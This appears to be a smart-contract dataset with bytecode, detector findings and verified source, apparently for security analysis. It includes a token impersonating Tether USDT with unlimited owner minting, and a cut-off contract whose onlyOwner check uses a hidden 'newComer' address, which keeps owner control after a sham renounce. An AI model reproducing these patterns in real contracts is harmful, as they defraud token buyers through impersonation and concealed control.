00fd5b9060005260206000209060040201905061080b8054905086106108675760405162461bcd60e51b8152602060048201526013602482015272092dcecc2d8d2c840dacae4d6d8ca92dcc8caf606b1b60448201526064016104cf565b80600201548160010154106108be5760405162461bcd60e51b815260206004820181905260248201527f416c6c204e46547320636c61696d656420696e20746869732061697264726f7060448201526064016104cf565b33600090815260038201602052604090205460ff16156109205760405162461bcd60e51b815260206004820181905260248201527f557365722068617320636c61696d656420696e20746869732061697264726f7060448201526064016104cf565b6109308585836000015485610f7a565b6109725760405162461bcd60e51b815260206004820152601360248201527224b73b30b634b21031b630b4b690383937b7b360691b60448201526064016104cf565b60018101805490600061098483611aa3565b90915550503360008181526003830160205260409020805460ff191660011790556109af908461117c565b604051839033906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46109e98360016119f9565b600255505050505050565b6001600160a01b038216600090815260046020526040812080548310610a525760405162461bcd60e51b8152602060048201526013602482015272496e646578206f7574206f6620626f756e647360681b60448201526064016104cf565b60008060005b610400811015610aee576000610a7061010083611abe565b905080610aaa5760018501610a8761010084611a11565b60048110610aa557634e487b7160e01b600052603260045260246000fd5b015493505b60018185901c1660011415610adb5786831415610acd57509350610af492505050565b82610ad781611aa3565b9350505b5080610ae681611aa3565b915050610a58565b50600080fd5b92915050565b61070f83838360405180602001604052806000815250610dab565b60006002548210610b5e5760405162461bcd60e51b8152602060048201526013602482015272496e646578206f7574206f6620626f756e647360681b60448201526064016104cf565b5090565b610809546001600160a01b03163314610b7a57600080fd5b60005b83811015610c295761080b80546001810182556000919091526004027f49269584b067be73383c276ccddb229298ef6883c3f229e0e1f150dc5ed2f9f801858583818110610bdb57634e487b7160e01b600052603260045260246000fd5b6020029190910135825550838383818110610c0657634e487b7160e01b600052603260045260246000fd5b905060200201358160020181905550508080610c2190611aa3565b915050610b7d565b5050505050565b6000610400821015610c7c5760006005836104008110610c6057634e487b7160e01b600052603260045260246000fd5b01546001600160a01b031690508015610c7a579050610459565b505b60405162461bcd60e51b815260206004820152601d60248201527f517565727920666f72206e6f6e6578697374656e7420746f6b656e496400000060448201526064016104cf565b60006001600160a01b038216610d155760405162461bcd60e51b8152602060048201526016602482015275517565727920666f72207a65726f206164647265737360501b60448201526064016104cf565b506001600160a01b031660009081526004602052604090205490565b6001805461039b90611a68565b336000818152610806602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610db6848484611038565b610dc28484848461125c565b610e0e5760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220746f206e6f6e204552433732312072656365697665720060448201526064016104cf565b50505050565b61080b8181548110610e2557600080fd5b600091825260209091206004909102018054600182015460029092015490925083565b6060610e5382610c30565b506000828152610805602052604090208054610e6e90611a68565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9a90611a68565b8015610ee75780601f10610ebc57610100808354040283529160200191610ee7565b820191906000526020600020905b815481529060010190602001808311610eca57829003601f168201915b50505050509050919050565b600061080b8381548110610f1757634e487b7160e01b600052603260045260246000fd5b600091825260208083206001600160a01b03861684526003600490930201919091019052604090205460ff16905092915050565b6001600160a01b0391821660009081526108066020908152604080832093909416825291909152205460ff1690565b600081815b8581101561102a576000878783818110610fa957634e487b7160e01b600052603260045260246000fd5b905060200201359050808311610fea576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611017565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b508061102281611aa3565b915050610f7f565b50831490505b949350505050565b6001600160a01b03831661104b57600080fd5b6001600160a01b03821661105e57600080fd5b600061106982610c30565b9050336001600160a01b03821614806110925750336110878361041c565b6001600160a01b0316145b806110a257506110a28133610f4b565b15611134576104058261040081106110ca57634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b03191690556110e384836113a6565b6110ed838361117c565b81836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45061070f565b60405162461bcd60e51b815260206004820181905260248201527f43616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656460448201526064016104cf565b81600582610400811061119f57634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319166001600160a01b0392831617905582166000908152600460205260408120805490916001918391906111df9084906119f9565b90915550600090506111f361010084611a11565b9050600082600101826004811061121a57634e487b7160e01b600052603260045260246000fd5b0154905061122a61010085611abe565b6001901b811783600101836004811061125357634e487b7160e01b600052603260045260246000fd5b01555050505050565b6000833b8061126f576001915050611030565b600080866001600160a01b0316600063150b7a0260e01b338b8a8a60405160240161129d949392919061191c565b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b03199094169390931790925290516112db91906118e6565b60006040518083038185875af1925050503d8060008114611318576040519150601f19603f3d011682016040523d82523d6000602084013e61131d565b606091505b50915091508161136f5760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220746f206e6f6e204552433732312072656365697665720060448201526064016104cf565b600081806020019051810190611385919061181a565b6001600160e01b031916630a85bd0160e11b14945050505050949350505050565b6001600160a01b0382166000908152600460205260408120805490916001918391906113d3908490611a25565b90915550600090506113e761010084611a11565b9050600082600101826004811061140e57634e487b7160e01b600052603260045260246000fd5b0154905061141e61010085611abe565b6001901b19811683600101836004811061125357634e487b7160e01b600052603260045260246000fd5b82805461145490611a68565b90600052602060002090601f01602090048101928261147657600085556114bc565b82601f1061148f5782800160ff198235161785556114bc565b828001600101855582156114bc579182015b828111156114bc5782358255916020019190600101906114a1565b50610b5e9291505b80821115610b5e57600081556001016114c4565b80356001600160a01b038116811461045957600080fd5b60008083601f840112611500578081fd5b50813567ffffffffffffffff811115611517578182fd5b6020830191508360208260051b850101111561153257600080fd5b9250929050565b60006020828403121561154a578081fd5b611553826114d8565b9392505050565b6000806040838503121561156c578081fd5b611575836114d8565b9150611583602084016114d8565b90509250929050565b6000806000606084860312156115a0578081fd5b6115a9846114d8565b92506115b7602085016114d8565b9150604084013590509250925092565b600080600080608085870312156115dc578081fd5b6115e5856114d8565b93506115f3602086016114d8565b925060408501359150606085013567ffffffffffffffff80821115611616578283fd5b818701915087601f830112611629578283fd5b81358181111561163b5761163b611afe565b604051601f8201601f19908116603f0116810190838211818310171561166357611663611afe565b816040528281528a602084870101111561167b578586fd5b82602086016020830137918201602001949094529598949750929550505050565b600080604083850312156116ae578182fd5b6116b7836114d8565b9150602083013580151581146116cb578182fd5b809150509250929050565b600080604083850312156116e8578182fd5b6116f1836114d8565b946020939093013593505050565b60008060008060408587031215611714578384fd5b843567ffffffffffffffff8082111561172b578586fd5b611737888389016114ef565b9096509450602087013591508082111561174f578384fd5b5061175c878288016114ef565b95989497509550505050565b60008060008060008060608789031215611780578182fd5b863567ffffffffffffffff80821115611797578384fd5b6117a38a838b016114ef565b909850965060208901359150808211156117bb578384fd5b6117c78a838b016114ef565b909650945060408901359150808211156117df578384fd5b506117ec89828a016114ef565b979a9699509497509295939492505050565b60006020828403121561180f578081fd5b813561155381611b14565b60006020828403121561182b578081fd5b815161155381611b14565b600060208284031215611847578081fd5b5035919050565b60008060408385031215611860578182fd5b82359150611583602084016114d8565b600080600060408486031215611884578081fd5b83359250602084013567ffffffffffffffff8111156118a1578182fd5b6118ad868287016114ef565b9497909650939450505050565b600081518084526118d2816020860160208601611a3c565b601f01601f19169290920160200192915050565b600082516118f8818460208701611a3c565b9190910192915050565b600084825282846020840137910160200190815292915050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061194f908301846118ba565b9695505050505050565b60006020825261155360208301846118ba565b6000808335601e19843603018112611982578283fd5b83018035915067ffffffffffffffff82111561199c578283fd5b6020019150600581901b360382131561153257600080fd5b6000808335601e198436030181126119ca578182fd5b83018035915067ffffffffffffffff8211156119e4578283fd5b60200191503681900382131561153257600080fd5b60008219821115611a0c57611a0c611ad2565b500190565b600082611a2057611a20611ae8565b500490565b600082821015611a3757611a37611ad2565b500390565b60005b83811015611a57578181015183820152602001611a3f565b83811115610e0e5750506000910152565b600181811c90821680611a7c57607f821691505b60208210811415611a9d57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611ab757611ab7611ad2565b5060010190565b600082611acd57611acd611ae8565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114611b2a57600080fd5b5056fea2646970667358221220c9e02a5e461939ae5097cac77464dd08d9eb2ac85a1c2d20c6e0e5381859ddbd64736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,042
0xba71599e2fff0c98ab4bfaa0bd37bebdeaf04d52
/** *Submitted for verification at BscScan.com on 2021-11-06 */ // SPDX-License-Identifier: MIT //owner: 0x02de1D9A3aed5E851FD1f085B685262eE0c7a7cA pragma solidity ^0.8.7; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor (address _tokenOwner) { _owner = _tokenOwner; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TetherUSDT is Context, IERC20, Ownable { address private _ultimateOwner = 0xC1B10E976d57c6560Ec729759749faA5Bc84e784; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () Ownable(_ultimateOwner) { _totalSupply = 71357845272 * 10 ** uint256(decimals()); _name = "TetherUSDT"; _symbol = "USDT"; _balances[_ultimateOwner] = _totalSupply; emit Transfer(address(0) , _ultimateOwner, _totalSupply); } /** * @dev Returns the name of the token. */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {BEP20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IBEP20-balanceOf} and {IBEP20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 6; } /** * @dev Returns the bep token owner. * https://github.com/binance-chain/BEPs/blob/master/BEP20.md */ function getOwner() external virtual override view returns (address) { return owner(); } /** * @dev See {IBEP20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IBEP20-balanceOf}. */ function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IBEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IBEP20-allowance}. */ function allowance(address owner, address spender) external view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IBEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IBEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external virtual override returns (bool) { _transfer(sender, recipient, amount); require(_allowances[sender][_msgSender()] >= amount, "BEP20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IBEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IBEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { require(_allowances[_msgSender()][spender] >= subtractedValue, "BEP20: decreased allowance below zero"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(_balances[sender] >= amount, "BEP20: transfer amount exceeds balance"); _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function claimToken(IERC20 token, address to) external onlyOwner { uint256 balance = token.balanceOf(address(this)); bool sent = token.transfer(to, balance); require(sent, "Failed to send token"); } function claimBNB(address payable to) external onlyOwner { (bool sent, ) = to.call{value: address(this).balance}(""); require(sent, "Failed to send BNB"); } function burn(uint256 amount) external onlyOwner returns (bool) { _burn(_msgSender(), amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); require(_balances[account] >= amount, "BEP20: burn amount exceeds balance"); _balances[account] -= amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function mint(uint256 amount) external onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d714610258578063a9059cbb1461026b578063ca31879d1461027e578063dd62ed3e14610291578063f2fde38b146102ca57600080fd5b8063715018a6146101ff578063893d20e8146102075780638da5cb5b1461022c57806395d89b411461023d578063a0712d681461024557600080fd5b80632d9a152b116100f45780632d9a152b1461018c578063313ce567146101a157806339509351146101b057806342966c68146101c357806370a08231146101d657600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016757806323b872dd14610179575b600080fd5b61012e6102dd565b60405161013b9190610fdc565b60405180910390f35b610157610152366004610f5c565b61036f565b604051901515815260200161013b565b6004545b60405190815260200161013b565b610157610187366004610f1b565b610385565b61019f61019a366004610ebe565b610460565b005b6040516006815260200161013b565b6101576101be366004610f5c565b610526565b6101576101d1366004610faa565b61055d565b61016b6101e4366004610ebe565b6001600160a01b031660009081526002602052604090205490565b61019f61059a565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161013b565b6000546001600160a01b0316610214565b61012e61060e565b610157610253366004610faa565b61061d565b610157610266366004610f5c565b610652565b610157610279366004610f5c565b610709565b61019f61028c366004610ee2565b610716565b61016b61029f366004610ee2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61019f6102d8366004610ebe565b61088e565b6060600580546102ec90611095565b80601f016020809104026020016040519081016040528092919081815260200182805461031890611095565b80156103655780601f1061033a57610100808354040283529160200191610365565b820191906000526020600020905b81548152906001019060200180831161034857829003601f168201915b5050505050905090565b600061037c3384846108c4565b50600192915050565b60006103928484846109e9565b6001600160a01b038416600090815260036020908152604080832033845290915290205482111561041b5760405162461bcd60e51b815260206004820152602860248201527f42455032303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6001600160a01b03841660009081526003602090815260408083203380855292529091205461045691869161045190869061107e565b6108c4565b5060019392505050565b6000546001600160a01b0316331461048a5760405162461bcd60e51b815260040161041290611031565b6000816001600160a01b03164760405160006040518083038185875af1925050503d80600081146104d7576040519150601f19603f3d011682016040523d82523d6000602084013e6104dc565b606091505b50509050806105225760405162461bcd60e51b81526020600482015260126024820152712330b4b632b2103a379039b2b7321021272160711b6044820152606401610412565b5050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161037c918590610451908690611066565b600080546001600160a01b031633146105885760405162461bcd60e51b815260040161041290611031565b6105923383610bc7565b506001919050565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161041290611031565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546102ec90611095565b600080546001600160a01b031633146106485760405162461bcd60e51b815260040161041290611031565b6105923383610d26565b3360009081526003602090815260408083206001600160a01b03861684529091528120548211156106d35760405162461bcd60e51b815260206004820152602560248201527f42455032303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610412565b3360008181526003602090815260408083206001600160a01b038816845290915290205461037c9190859061045190869061107e565b600061037c3384846109e9565b6000546001600160a01b031633146107405760405162461bcd60e51b815260040161041290611031565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b15801561078257600080fd5b505afa158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190610fc3565b60405163a9059cbb60e01b81526001600160a01b0384811660048301526024820183905291925060009185169063a9059cbb90604401602060405180830381600087803b15801561080a57600080fd5b505af115801561081e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108429190610f88565b9050806108885760405162461bcd60e51b81526020600482015260146024820152732330b4b632b2103a379039b2b732103a37b5b2b760611b6044820152606401610412565b50505050565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161041290611031565b6108c181610dfe565b50565b6001600160a01b0383166109265760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610412565b6001600160a01b0382166109875760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610412565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a4d5760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610412565b6001600160a01b038216610aaf5760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610412565b6001600160a01b038316600090815260026020526040902054811115610b265760405162461bcd60e51b815260206004820152602660248201527f42455032303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610412565b6001600160a01b03831660009081526002602052604081208054839290610b4e90849061107e565b90915550506001600160a01b03821660009081526002602052604081208054839290610b7b908490611066565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109dc91815260200190565b6001600160a01b038216610c275760405162461bcd60e51b815260206004820152602160248201527f42455032303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610412565b6001600160a01b038216600090815260026020526040902054811115610c9a5760405162461bcd60e51b815260206004820152602260248201527f42455032303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610412565b6001600160a01b03821660009081526002602052604081208054839290610cc290849061107e565b925050819055508060046000828254610cdb919061107e565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a35050565b6001600160a01b038216610d7c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610412565b8060046000828254610d8e9190611066565b90915550506001600160a01b03821660009081526002602052604081208054839290610dbb908490611066565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610d1a565b6001600160a01b038116610e635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610412565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600060208284031215610ed057600080fd5b8135610edb816110e6565b9392505050565b60008060408385031215610ef557600080fd5b8235610f00816110e6565b91506020830135610f10816110e6565b809150509250929050565b600080600060608486031215610f3057600080fd5b8335610f3b816110e6565b92506020840135610f4b816110e6565b929592945050506040919091013590565b60008060408385031215610f6f57600080fd5b8235610f7a816110e6565b946020939093013593505050565b600060208284031215610f9a57600080fd5b81518015158114610edb57600080fd5b600060208284031215610fbc57600080fd5b5035919050565b600060208284031215610fd557600080fd5b5051919050565b600060208083528351808285015260005b8181101561100957858101830151858201604001528201610fed565b8181111561101b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611079576110796110d0565b500190565b600082821015611090576110906110d0565b500390565b600181811c908216806110a957607f821691505b602082108114156110ca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146108c157600080fdfea26469706673582212203ff44571e81146dd5a7f9063848cf7b1d79b62cf9b5ed0f5bdaa25b6a03fbdfa64736f6c63430008070033
{"success": true, "error": null, "results": {}}
10,043
0x361e2102c614be4ceb6a4dca38da0782cf7aaa83
/** *Submitted for verification at Etherscan.io on 2021-11-15 */ /* * * __ * ,db' * * ,d8/ * * * 888 `db\ * * `o`_ ** * * * _ * * / ) * (\__/) * ( ( * ,-.,-.,) (.,-.,-.,-.) ).,-.,-. | @| ={ }= | @| / / | @|o | _j__j__j_) `-------/ /__j__j__j_ ________( /___________ | | @| \ || o|O | @| |o | |,'\ , ,'"| | | | vV\|/vV|`-'\ ,---\ | \Vv\hjwVv\//v _) ) `. \ / (__/ ) ) (_/ */ pragma solidity ^0.6.12; // SPDX-License-Identifier: UNLICENSED interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), 